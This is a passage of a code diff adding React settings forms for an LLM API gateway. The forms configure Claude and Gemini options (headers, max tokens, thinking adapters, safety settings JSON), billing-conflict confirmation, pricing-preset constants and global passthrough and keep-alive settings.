+      'claude.default_max_tokens': normalizeJsonString(
+        defaultValues.claude.default_max_tokens
+      ),
+      'claude.thinking_adapter_enabled':
+        defaultValues.claude.thinking_adapter_enabled,
+      'claude.thinking_adapter_budget_tokens_percentage': Number(
+        defaultValues.claude.thinking_adapter_budget_tokens_percentage
+      ),
+    }
+
+    form.reset(buildFormDefaults(defaultValues))
+  }, [defaultValues, form])
+
+  const onSubmit = async (values: ClaudeSettingsFormValues) => {
+    const normalized: FlatClaudeSettings = {
+      'claude.model_headers_settings': normalizeJsonString(
+        values.claude.model_headers_settings
+      ),
+      'claude.default_max_tokens': normalizeJsonString(
+        values.claude.default_max_tokens
+      ),
+      'claude.thinking_adapter_enabled': values.claude.thinking_adapter_enabled,
+      'claude.thinking_adapter_budget_tokens_percentage':
+        values.claude.thinking_adapter_budget_tokens_percentage,
+    }
+
+    const updates = (
+      Object.keys(normalized) as Array<keyof FlatClaudeSettings>
+    ).filter((key) => normalized[key] !== normalizedDefaultsRef.current[key])
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const key of updates) {
+      await updateOption.mutateAsync({ key, value: normalized[key] })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Claude')}
+      description={t(
+        'Override Anthropic headers, defaults, and thinking adapter behavior'
+      )}
+    >
+      <Form {...form}>
+        {/* eslint-disable-next-line react-hooks/refs */}
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='claude.model_headers_settings'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Request Header Overrides')}</FormLabel>
+                <FormControl>
+                  <Textarea rows={8} {...field} />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='claude.default_max_tokens'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Default Max Tokens')}</FormLabel>
+                <FormControl>
+                  <Textarea rows={8} {...field} />
+                </FormControl>
+                <FormDescription>
+                  {t('Example')}{' '}
+                  {`{ "default": 8192, "claude-3-haiku-20240307": 4096, "claude-3-opus-20240229": 4096, "claude-3-7-sonnet-20250219-thinking": 8192 }`}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <div className='space-y-4 rounded-lg border p-4'>
+            <FormField
+              control={form.control}
+              name='claude.thinking_adapter_enabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Thinking Adapter')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='claude.thinking_adapter_budget_tokens_percentage'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Budget Tokens Ratio')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      {...field}
+                      value={String(field.value ?? '')}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/conflict-confirm-dialog.tsx b/new-api/web/default/src/features/system-settings/models/conflict-confirm-dialog.tsx
new file mode 100644
index 0000000..3c152fa
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/conflict-confirm-dialog.tsx
@@ -0,0 +1,102 @@
+import { useTranslation } from 'react-i18next'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+
+export type ConflictItem = {
+  channel: string
+  model: string
+  current: string
+  newVal: string
+}
+
+type ConflictConfirmDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  conflicts: ConflictItem[]
+  onConfirm: () => void
+  isLoading?: boolean
+}
+
+export function ConflictConfirmDialog({
+  open,
+  onOpenChange,
+  conflicts,
+  onConfirm,
+  isLoading = false,
+}: ConflictConfirmDialogProps) {
+  const { t } = useTranslation()
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent className='max-w-4xl'>
+        <AlertDialogHeader>
+          <AlertDialogTitle>{t('Confirm Billing Conflicts')}</AlertDialogTitle>
+          <AlertDialogDescription>
+            {t(
+              'The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.'
+            )}
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+
+        <div className='max-h-96 overflow-y-auto rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>{t('Channel')}</TableHead>
+                <TableHead>{t('Model')}</TableHead>
+                <TableHead>{t('Current Billing')}</TableHead>
+                <TableHead>{t('Change To')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {conflicts.map((conflict, index) => (
+                <TableRow key={index}>
+                  <TableCell className='font-medium'>
+                    {conflict.channel}
+                  </TableCell>
+                  <TableCell className='font-mono text-sm'>
+                    {conflict.model}
+                  </TableCell>
+                  <TableCell>
+                    <pre className='text-xs whitespace-pre-wrap'>
+                      {conflict.current}
+                    </pre>
+                  </TableCell>
+                  <TableCell>
+                    <pre className='text-xs whitespace-pre-wrap'>
+                      {conflict.newVal}
+                    </pre>
+                  </TableCell>
+                </TableRow>
+              ))}
+            </TableBody>
+          </Table>
+        </div>
+
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={isLoading}>
+            {t('Cancel')}
+          </AlertDialogCancel>
+          <AlertDialogAction onClick={onConfirm} disabled={isLoading}>
+            {isLoading ? t('Applying...') : t('Confirm Changes')}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/constants.ts b/new-api/web/default/src/features/system-settings/models/constants.ts
new file mode 100644
index 0000000..16ad15c
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/constants.ts
@@ -0,0 +1,59 @@
+export const DEFAULT_ENDPOINT = '/api/pricing'
+
+// ---------------------------------------------------------------------------
+// Built-in upstream ratio presets
+//
+// The backend (`controller/ratio_sync.go`) synthesizes two virtual channels and
+// returns them in the syncable channels response. The constants below mirror
+// the backend literals one-to-one; do NOT translate the *_NAME values because
+// they are wire-protocol identifiers, not user-facing labels.
+//
+// Identification on the frontend should rely on the stable negative ID alone.
+// `*_NAME` and `*_BASE_URL` are kept for diagnostics, custom channel
+// detection, and backwards compatibility with the classic frontend.
+// ---------------------------------------------------------------------------
+
+export const OFFICIAL_CHANNEL_ID = -100
+export const OFFICIAL_CHANNEL_NAME = '官方倍率预设'
+export const OFFICIAL_CHANNEL_BASE_URL = 'https://basellm.github.io'
+export const OFFICIAL_CHANNEL_ENDPOINT =
+  '/llm-metadata/api/newapi/ratio_config-v1-base.json'
+
+export const MODELS_DEV_PRESET_ID = -101
+export const MODELS_DEV_PRESET_NAME = 'models.dev 价格预设'
+export const MODELS_DEV_PRESET_BASE_URL = 'https://models.dev'
+export const MODELS_DEV_PRESET_ENDPOINT = 'https://models.dev/api.json'
+
+export const OPENROUTER_ENDPOINT = 'openrouter'
+
+// Backend channel type for OpenRouter (see constant/channel.go: ChannelTypeOpenRouter = 20)
+export const OPENROUTER_CHANNEL_TYPE = 20
+
+export const ENDPOINT_OPTIONS = [
+  { label: 'pricing', value: '/api/pricing' },
+  { label: 'ratio_config', value: '/api/ratio_config' },
+  { label: 'OpenRouter', value: OPENROUTER_ENDPOINT },
+  { label: 'custom', value: 'custom' },
+] as const
+
+// Labels reuse the existing sentence-case i18n keys defined for form fields
+// (e.g. `Model ratio`, `Audio completion ratio`). Do NOT switch to Title Case
+// here without updating the i18n catalog; otherwise we end up with two keys per
+// ratio type that only differ in capitalization.
+export const RATIO_TYPE_OPTIONS = [
+  { label: 'Model ratio', value: 'model_ratio' },
+  { label: 'Completion ratio', value: 'completion_ratio' },
+  { label: 'Cache ratio', value: 'cache_ratio' },
+  { label: 'Create cache ratio', value: 'create_cache_ratio' },
+  { label: 'Image ratio', value: 'image_ratio' },
+  { label: 'Audio ratio', value: 'audio_ratio' },
+  { label: 'Audio completion ratio', value: 'audio_completion_ratio' },
+  { label: 'Fixed price', value: 'model_price' },
+  { label: 'Expression billing', value: 'billing_expr' },
+] as const
+
+export const CHANNEL_STATUS_CONFIG = {
+  1: { label: 'Enabled', variant: 'success' as const },
+  2: { label: 'Disabled', variant: 'danger' as const },
+  3: { label: 'Auto-Disabled', variant: 'warning' as const },
+} as const
diff --git a/new-api/web/default/src/features/system-settings/models/gemini-settings-card.tsx b/new-api/web/default/src/features/system-settings/models/gemini-settings-card.tsx
new file mode 100644
index 0000000..73f2c64
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/gemini-settings-card.tsx
@@ -0,0 +1,397 @@
+import { useEffect, useMemo, useRef } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import {
+  formatJsonForTextarea,
+  normalizeJsonString,
+  validateJsonString,
+} from './utils'
+
+const schema = z.object({
+  gemini: z.object({
+    safety_settings: z.string().superRefine((value, ctx) => {
+      const result = validateJsonString(value)
+      if (!result.valid) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: result.message || 'Invalid JSON',
+        })
+      }
+    }),
+    version_settings: z.string().superRefine((value, ctx) => {
+      const result = validateJsonString(value)
+      if (!result.valid) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: result.message || 'Invalid JSON',
+        })
+      }
+    }),
+    supported_imagine_models: z.string().superRefine((value, ctx) => {
+      const result = validateJsonString(value, {
+        predicate: (parsed) =>
+          Array.isArray(parsed) &&
+          parsed.every((item) => typeof item === 'string'),
+        predicateMessage: 'Expected a JSON array of model identifiers',
+      })
+      if (!result.valid) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: result.message || 'Invalid JSON array',
+        })
+      }
+    }),
+    thinking_adapter_enabled: z.boolean(),
+    thinking_adapter_budget_tokens_percentage: z.coerce
+      .number()
+      .min(0.002, { message: 'Must be at least 0.002' })
+      .max(1, { message: 'Must be 1 or less' }),
+    function_call_thought_signature_enabled: z.boolean(),
+    remove_function_response_id_enabled: z.boolean(),
+  }),
+})
+
+type GeminiSettingsFormValues = z.output<typeof schema>
+type GeminiSettingsFormInput = z.input<typeof schema>
+
+type FlatGeminiSettings = {
+  'gemini.safety_settings': string
+  'gemini.version_settings': string
+  'gemini.supported_imagine_models': string
+  'gemini.thinking_adapter_enabled': boolean
+  'gemini.thinking_adapter_budget_tokens_percentage': number
+  'gemini.function_call_thought_signature_enabled': boolean
+  'gemini.remove_function_response_id_enabled': boolean
+}
+
+type GeminiSettingsCardProps = {
+  defaultValues: GeminiSettingsFormInput
+}
+
+export function GeminiSettingsCard({ defaultValues }: GeminiSettingsCardProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const normalizedDefaultsRef = useRef<FlatGeminiSettings>({
+    'gemini.safety_settings': normalizeJsonString(
+      defaultValues.gemini.safety_settings
+    ),
+    'gemini.version_settings': normalizeJsonString(
+      defaultValues.gemini.version_settings
+    ),
+    'gemini.supported_imagine_models': normalizeJsonString(
+      defaultValues.gemini.supported_imagine_models
+    ),
+    'gemini.thinking_adapter_enabled':
+      defaultValues.gemini.thinking_adapter_enabled,
+    'gemini.thinking_adapter_budget_tokens_percentage': Number(
+      defaultValues.gemini.thinking_adapter_budget_tokens_percentage
+    ),
+    'gemini.function_call_thought_signature_enabled':
+      defaultValues.gemini.function_call_thought_signature_enabled ?? true,
+    'gemini.remove_function_response_id_enabled':
+      defaultValues.gemini.remove_function_response_id_enabled ?? true,
+  })
+
+  const buildFormDefaults = (
+    values: GeminiSettingsFormInput
+  ): GeminiSettingsFormInput => ({
+    gemini: {
+      safety_settings: formatJsonForTextarea(values.gemini.safety_settings),
+      version_settings: formatJsonForTextarea(values.gemini.version_settings),
+      supported_imagine_models: formatJsonForTextarea(
+        values.gemini.supported_imagine_models
+      ),
+      thinking_adapter_enabled: values.gemini.thinking_adapter_enabled,
+      thinking_adapter_budget_tokens_percentage:
+        values.gemini.thinking_adapter_budget_tokens_percentage,
+      function_call_thought_signature_enabled:
+        values.gemini.function_call_thought_signature_enabled ?? true,
+      remove_function_response_id_enabled:
+        values.gemini.remove_function_response_id_enabled ?? true,
+    },
+  })
+
+  const form = useForm<
+    GeminiSettingsFormInput,
+    unknown,
+    GeminiSettingsFormValues
+  >({
+    resolver: zodResolver(schema),
+    defaultValues: buildFormDefaults(defaultValues),
+  })
+
+  useEffect(() => {
+    normalizedDefaultsRef.current = {
+      'gemini.safety_settings': normalizeJsonString(
+        defaultValues.gemini.safety_settings
+      ),
+      'gemini.version_settings': normalizeJsonString(
+        defaultValues.gemini.version_settings
+      ),
+      'gemini.supported_imagine_models': normalizeJsonString(
+        defaultValues.gemini.supported_imagine_models
+      ),
+      'gemini.thinking_adapter_enabled':
+        defaultValues.gemini.thinking_adapter_enabled,
+      'gemini.thinking_adapter_budget_tokens_percentage': Number(
+        defaultValues.gemini.thinking_adapter_budget_tokens_percentage
+      ),
+      'gemini.function_call_thought_signature_enabled':
+        defaultValues.gemini.function_call_thought_signature_enabled ?? true,
+      'gemini.remove_function_response_id_enabled':
+        defaultValues.gemini.remove_function_response_id_enabled ?? true,
+    }
+
+    form.reset(buildFormDefaults(defaultValues))
+  }, [defaultValues, form])
+
+  const isAdapterEnabled = form.watch('gemini.thinking_adapter_enabled')
+
+  const onSubmit = async (values: GeminiSettingsFormValues) => {
+    const normalized: FlatGeminiSettings = {
+      'gemini.safety_settings': normalizeJsonString(
+        values.gemini.safety_settings
+      ),
+      'gemini.version_settings': normalizeJsonString(
+        values.gemini.version_settings
+      ),
+      'gemini.supported_imagine_models': normalizeJsonString(
+        values.gemini.supported_imagine_models
+      ),
+      'gemini.thinking_adapter_enabled': values.gemini.thinking_adapter_enabled,
+      'gemini.thinking_adapter_budget_tokens_percentage':
+        values.gemini.thinking_adapter_budget_tokens_percentage,
+      'gemini.function_call_thought_signature_enabled':
+        values.gemini.function_call_thought_signature_enabled,
+      'gemini.remove_function_response_id_enabled':
+        values.gemini.remove_function_response_id_enabled,
+    }
+
+    const updates = (
+      Object.keys(normalized) as Array<keyof FlatGeminiSettings>
+    ).filter((key) => normalized[key] !== normalizedDefaultsRef.current[key])
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const key of updates) {
+      await updateOption.mutateAsync({
+        key,
+        value: normalized[key],
+      })
+    }
+  }
+
+  const imaginePlaceholder = useMemo(
+    () => JSON.stringify(['gemini-2.0-flash-exp-image-generation'], null, 2),
+    []
+  )
+
+  return (
+    <SettingsSection
+      title={t('Gemini')}
+      description={t(
+        'Configure Gemini safety behavior, version overrides, and thinking adapter'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='gemini.safety_settings'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Safety Settings')}</FormLabel>
+                <FormControl>
+                  <Textarea rows={8} {...field} />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Provide per-category safety overrides as JSON. Use `default` for fallback values.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='gemini.version_settings'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Version Overrides')}</FormLabel>
+                <FormControl>
+                  <Textarea rows={8} {...field} />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='gemini.supported_imagine_models'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Supported Imagine Models')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={6}
+                    placeholder={imaginePlaceholder}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Accepts a JSON array of model identifiers that support the Imagine API.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <div className='space-y-4 rounded-lg border p-4'>
+            <FormField
+              control={form.control}
+              name='gemini.thinking_adapter_enabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Thinking Adapter')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Supports `-thinking`, `-thinking-')}
+                      {'{{budget}}'}
+                      {t(
+                        '`, and `-nothinking` suffixes while routing to the correct Gemini variant.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='gemini.thinking_adapter_budget_tokens_percentage'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Budget Tokens Ratio')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      {...field}
+                      value={String(field.value ?? '')}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            {!isAdapterEnabled && (
+              <p className='text-muted-foreground text-sm'>
+                {t(
+                  'Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.'
+                )}
+              </p>
+            )}
+          </div>
+
+          <FormField
+            control={form.control}
+            name='gemini.function_call_thought_signature_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable FunctionCall thoughtSignature Fill')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='gemini.remove_function_response_id_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Remove functionResponse.id field')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx b/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx
new file mode 100644
index 0000000..d7fdf90
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/global-settings-card.tsx
@@ -0,0 +1,395 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const thinkingBlacklistExample = JSON.stringify(
+  ['moonshotai/kimi-k2-thinking', 'kimi-k2-thinking'],
+  null,
+  2
+)
+
+const chatToResponsesPolicyExample = JSON.stringify(
+  {
+    enabled: true,
+    all_channels: false,
+    channel_ids: [1, 2],
+    model_patterns: ['^gpt-4o.*$', '^gpt-5.*$'],
+  },
+  null,
+  2
+)
+
+const chatToResponsesPolicyAllChannelsExample = JSON.stringify(
+  {
+    enabled: true,
+    all_channels: true,
+    model_patterns: ['^gpt-4o.*$', '^gpt-5.*$'],
+  },
+  null,
+  2
+)
+
+const jsonString = z.string().refine((value) => {
+  const trimmed = value.trim()
+  if (!trimmed) return true
+  try {
+    JSON.parse(trimmed)
+    return true
+  } catch {
+    return false
+  }
+}, 'Invalid JSON format')
+
+const schema = z.object({
+  global: z.object({
+    pass_through_request_enabled: z.boolean(),
+    thinking_model_blacklist: jsonString,
+    chat_completions_to_responses_policy: jsonString,
+  }),
+  general_setting: z.object({
+    ping_interval_enabled: z.boolean(),
+    ping_interval_seconds: z.coerce.number().min(1),
+  }),
+})
+
+type GlobalModelSettingsFormValues = z.output<typeof schema>
+type GlobalModelSettingsFormInput = z.input<typeof schema>
+
+type FlatGlobalModelSettings = {
+  'global.pass_through_request_enabled': boolean
+  'global.thinking_model_blacklist': string
+  'global.chat_completions_to_responses_policy': string
+  'general_setting.ping_interval_enabled': boolean
+  'general_setting.ping_interval_seconds': number
+}
+
+const flattenGlobalValues = (
+  values: GlobalModelSettingsFormValues
+): FlatGlobalModelSettings => ({
+  'global.pass_through_request_enabled':
+    values.global.pass_through_request_enabled,
+  'global.thinking_model_blacklist': normalizeJsonText(
+    values.global.thinking_model_blacklist,
+    '[]'
+  ),
+  'global.chat_completions_to_responses_policy': normalizeJsonText(
+    values.global.chat_completions_to_responses_policy,
+    '{}'
+  ),
+  'general_setting.ping_interval_enabled':
+    values.general_setting.ping_interval_enabled,
+  'general_setting.ping_interval_seconds':
+    values.general_setting.ping_interval_seconds,
+})
+
+function normalizeJsonText(value: string, fallback: string) {
+  const trimmed = (value ?? '').toString().trim()
+  return trimmed ? trimmed : fallback
+}
+
+type GlobalSettingsCardProps = {
+  defaultValues: GlobalModelSettingsFormValues
+}
+
+export function GlobalSettingsCard({ defaultValues }: GlobalSettingsCardProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<
+    GlobalModelSettingsFormInput,
+    unknown,
+    GlobalModelSettingsFormValues
+  >({
+    resolver: zodResolver(schema),
+    defaultValues: defaultValues as GlobalModelSettingsFormInput,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues as GlobalModelSettingsFormInput)
+  }, [defaultValues, form])
+
+  const pingEnabled = form.watch('general_setting.ping_interval_enabled')
+
+  const formatJsonField = (
+    field:
+      | 'global.thinking_model_blacklist'
+      | 'global.chat_completions_to_responses_policy'
+  ) => {
+    const raw = form.getValues(field)
+    if (!raw || !raw.trim()) return
+    try {
+      const formatted = JSON.stringify(JSON.parse(raw), null, 2)
+      form.setValue(field, formatted, { shouldDirty: true })
+    } catch {
+      toast.error(t('Invalid JSON format'))
+    }
+  }
+
+  const onSubmit = async (values: GlobalModelSettingsFormValues) => {
+    const flattenedDefaults = flattenGlobalValues(defaultValues)
+    const flattenedValues = flattenGlobalValues(values)
+    const updates = Object.entries(flattenedValues).filter(
+      ([key, value]) =>
+        value !== flattenedDefaults[key as keyof FlatGlobalModelSettings]
+    )
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({
+        key,
+        value,
+      })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Global Model Configuration')}
+      description={t(
+        'Control passthrough behavior and connection keep-alive settings'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='global.pass_through_request_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable Request Passthrough')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Forward requests directly to upstream providers without any post-processing.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='global.thinking_model_blacklist'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Disable thinking processing models')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={4}
+                    placeholder={`${t('Example:')}\n${thinkingBlacklistExample}`}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Models listed here will not automatically append or remove -thinking / -nothinking suffixes.'
+                  )}
+                </FormDescription>
+                <div className='flex flex-wrap gap-2'>
+                  <Button
+                    type='button'
+                    variant='outline'
+                    size='sm'
+                    onClick={() =>
+                      formatJsonField('global.thinking_model_blacklist')
+                    }
+                  >
+                    {t('Format JSON')}
+                  </Button>
+                </div>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Separator />
+
+          <div className='space-y-4'>
+            <div className='flex items-center gap-2'>
+              <h3 className='text-base font-semibold'>
+                {t('ChatCompletions -> Responses Compatibility')}
+              </h3>
+              <StatusBadge
+                label={t('Preview')}
+                variant='neutral'
+                copyable={false}
+              />
+            </div>
+
+            <Alert>
+              <AlertTitle>{t('Warning')}</AlertTitle>
+              <AlertDescription>
+                {t(
+                  'This feature is experimental. Configuration format and behavior may change.'
+                )}
+              </AlertDescription>
+            </Alert>
+
+            <FormField
+              control={form.control}
+              name='global.chat_completions_to_responses_policy'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Policy JSON')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      rows={8}
+                      placeholder={`${t('Example (specific channels):')}\n${chatToResponsesPolicyExample}\n\n${t('Example (all channels):')}\n${chatToResponsesPolicyAllChannelsExample}`}
+                      {...field}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Empty value will be saved as {}.')}
+                  </FormDescription>
+                  <div className='flex flex-wrap gap-2'>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        form.setValue(
+                          'global.chat_completions_to_responses_policy',
+                          chatToResponsesPolicyExample,
+                          { shouldDirty: true }
+                        )
+                      }
+                    >
+                      {t('Fill example (specific channels)')}
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        form.setValue(
+                          'global.chat_completions_to_responses_policy',
+                          chatToResponsesPolicyAllChannelsExample,
+                          { shouldDirty: true }
+                        )
+                      }
+                    >
+                      {t('Fill example (all channels)')}
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        formatJsonField(
+                          'global.chat_completions_to_responses_policy'
+                        )
+                      }
+                    >
+                      {t('Format JSON')}
+                    </Button>
+                  </div>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Separator />
+
+          <FormField
+            control={form.control}
+            name='general_setting.ping_interval_enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Keep-alive Ping')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Periodically send ping frames to keep streaming connections active.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
